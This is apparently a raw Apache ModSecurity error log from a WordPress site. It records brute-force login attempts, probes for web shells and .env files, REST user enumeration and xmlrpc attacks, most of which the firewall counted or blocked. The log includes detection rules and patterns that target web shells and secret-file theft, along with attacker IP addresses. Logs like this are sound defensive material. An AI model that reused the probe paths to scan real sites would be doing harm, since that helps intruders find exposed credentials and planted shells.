[Sat Feb 28 03:39:19.443679 2026] [:error] [pid 34654:tid 34680] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy54aJ8GFyr1P2g17NeQAAANc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:21.394510 2026] [:error] [pid 34654:tid 34663] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy6YaJ8GFyr1P2g17NhAAAAMY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:24.408688 2026] [:error] [pid 34654:tid 34660] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy7IaJ8GFyr1P2g17NkwAAAMM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:26.720999 2026] [:error] [pid 34654:tid 34658] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy7oaJ8GFyr1P2g17NmAAAAME"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:29.616163 2026] [:error] [pid 34654:tid 34681] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy8YaJ8GFyr1P2g17NqQAAANg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:31.491149 2026] [:error] [pid 34654:tid 34664] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy84aJ8GFyr1P2g17NrwAAAMc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:34.380740 2026] [:error] [pid 34654:tid 34671] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy9oaJ8GFyr1P2g17NvgAAAM4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:36.423504 2026] [:error] [pid 34654:tid 34679] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy-IaJ8GFyr1P2g17NygAAANY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:39.362315 2026] [:error] [pid 34654:tid 34667] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy-4aJ8GFyr1P2g17N0AAAAMo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:41.455038 2026] [:error] [pid 34654:tid 34672] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy_YaJ8GFyr1P2g17N1AAAAM8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:44.387246 2026] [:error] [pid 34654:tid 34664] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzAIaJ8GFyr1P2g17N4gAAAMc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:46.517951 2026] [:error] [pid 34654:tid 34679] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzAoaJ8GFyr1P2g17N5wAAANY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:49.471726 2026] [:error] [pid 34654:tid 34676] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzBYaJ8GFyr1P2g17N7AAAANM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:51.546646 2026] [:error] [pid 34654:tid 34674] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzB4aJ8GFyr1P2g17N7QAAANE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:54.474666 2026] [:error] [pid 34654:tid 34667] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzCoaJ8GFyr1P2g17N8wAAAMo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:57.121962 2026] [:error] [pid 34654:tid 34679] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzDYaJ8GFyr1P2g17N-gAAANY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:00.190076 2026] [:error] [pid 34654:tid 34672] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzEIaJ8GFyr1P2g17OBwAAAM8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:02.492292 2026] [:error] [pid 34654:tid 34669] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzEoaJ8GFyr1P2g17OEQAAAMw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:05.778717 2026] [:error] [pid 34654:tid 34664] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzFYaJ8GFyr1P2g17OHAAAAMc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:07.954587 2026] [:error] [pid 34654:tid 34665] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzF4aJ8GFyr1P2g17OJAAAAMg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:10.793797 2026] [:error] [pid 34654:tid 34660] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzGoaJ8GFyr1P2g17OKwAAAMM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:12.894765 2026] [:error] [pid 34654:tid 34670] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzHIaJ8GFyr1P2g17OLAAAAM0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:15.894643 2026] [:error] [pid 34654:tid 34672] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzH4aJ8GFyr1P2g17OOQAAAM8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:18.003282 2026] [:error] [pid 34654:tid 34660] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzIoaJ8GFyr1P2g17OPgAAAMM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:20.872272 2026] [:error] [pid 34654:tid 34679] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzJIaJ8GFyr1P2g17OTgAAANY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:22.731305 2026] [:error] [pid 34654:tid 34680] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzJoaJ8GFyr1P2g17OVgAAANc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:25.655301 2026] [:error] [pid 34654:tid 34677] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzKYaJ8GFyr1P2g17OcQAAANQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:27.919848 2026] [:error] [pid 34654:tid 34658] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzK4aJ8GFyr1P2g17OfAAAAME"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:30.762572 2026] [:error] [pid 34654:tid 34673] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzLoaJ8GFyr1P2g17OhAAAANA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:32.937573 2026] [:error] [pid 34654:tid 34664] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzMIaJ8GFyr1P2g17OkAAAAMc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:40:35.719919 2026] [:error] [pid 34654:tid 34673] [client 62.60.130.210:55009] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHzM4aJ8GFyr1P2g17OlwAAANA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:47:07.048810 2026] [:error] [pid 53583:tid 53602] [client 20.220.8.221:34759] [client 20.220.8.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaH0u63L787BS33mfNHNYwAAAVA"]
[Sat Feb 28 03:47:14.513805 2026] [:error] [pid 52700:tid 52731] [client 20.220.8.221:34939] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaH0wilm2jmiqZ05Y9nY9AAAAQo"]
[Sat Feb 28 03:47:15.342157 2026] [:error] [pid 53583:tid 53594] [client 20.220.8.221:34895] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaH0w63L787BS33mfNHNcQAAAUg"]
[Sat Feb 28 03:47:16.184329 2026] [:error] [pid 53583:tid 53587] [client 20.220.8.221:34900] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaH0xK3L787BS33mfNHNdAAAAUI"]
[Sat Feb 28 03:47:17.026852 2026] [:error] [pid 52700:tid 52745] [client 20.220.8.221:34908] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaH0xSlm2jmiqZ05Y9nY-wAAARg"]
[Sat Feb 28 04:24:31.075525 2026] [:error] [pid 39292:tid 39295] [client 20.89.52.173:8266] [client 20.89.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.89.52.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaH9f6IAO5fN7BxyqcHwggAAAME"]
[Sat Feb 28 04:24:42.935727 2026] [:error] [pid 39292:tid 39314] [client 20.89.52.173:8266] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaH9iqIAO5fN7BxyqcHw2wAAANQ"]
[Sat Feb 28 04:24:43.411318 2026] [:error] [pid 39292:tid 39316] [client 20.89.52.173:12302] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaH9i6IAO5fN7BxyqcHw3AAAANY"]
[Sat Feb 28 04:24:43.958330 2026] [:error] [pid 39184:tid 39240] [client 20.89.52.173:20324] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaH9i1tZF9Zd_U7easANegAAAFU"]
[Sat Feb 28 04:24:44.545231 2026] [:error] [pid 39292:tid 39304] [client 20.89.52.173:1187] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaH9jKIAO5fN7BxyqcHw5gAAAMo"]
[Sat Feb 28 05:12:17.914480 2026] [autoindex:error] [pid 39185:tid 39266] [client 194.146.12.7:53356] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 05:15:09.841976 2026] [:error] [pid 39184:tid 39236] [client 103.8.27.27:60859] [client 103.8.27.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaIJXVtZF9Zd_U7easAhxQAAAFE"]
[Sat Feb 28 05:53:39.710835 2026] [:error] [pid 39292:tid 39305] [client 146.190.160.27:53948] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaISY6IAO5fN7BxyqcFC8QAAAMs"]
[Sat Feb 28 05:53:43.516758 2026] [:error] [pid 39292:tid 39298] [client 146.190.160.27:53948] [client 146.190.160.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaISZ6IAO5fN7BxyqcFDCAAAAMQ"]
[Sat Feb 28 05:53:45.102865 2026] [:error] [pid 39292:tid 39294] [client 146.190.160.27:53948] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaISaaIAO5fN7BxyqcFDCwAAAMA"]
[Sat Feb 28 05:53:45.109830 2026] [:error] [pid 39292:tid 39294] [client 146.190.160.27:53948] [client 146.190.160.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 146.190.160.27 (0+1 hits since last alert)|gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaISaaIAO5fN7BxyqcFDCwAAAMA"]
[Sat Feb 28 08:30:24.940114 2026] [:error] [pid 11791:tid 11809] [client 125.94.144.102:59860] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaI3IGuX5e1Q32gqxH3yngAAARA"]
[Sat Feb 28 08:36:24.932500 2026] [:error] [pid 39292:tid 39307] [client 43.157.179.227:34328] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaI4iKIAO5fN7BxyqcEQkAAAAM0"]
[Sat Feb 28 09:33:46.488459 2026] [:error] [pid 52460:tid 52479] [client 41.58.93.230:51535] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJF-rLWOogAgHGh62RiqQAAAZA"]
[Sat Feb 28 09:40:08.430586 2026] [:error] [pid 52460:tid 52482] [client 41.58.93.230:25134] [client 41.58.93.230] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaJHeLLWOogAgHGh62RodAAAAZM"]
[Sat Feb 28 09:41:23.540652 2026] [:error] [pid 39184:tid 39232] [client 41.58.93.230:2483] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJHw1tZF9Zd_U7easCsHQAAAE0"]
[Sat Feb 28 09:42:31.468772 2026] [:error] [pid 11791:tid 11814] [client 41.58.93.230:48249] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJIB2uX5e1Q32gqxH2oIwAAARU"]
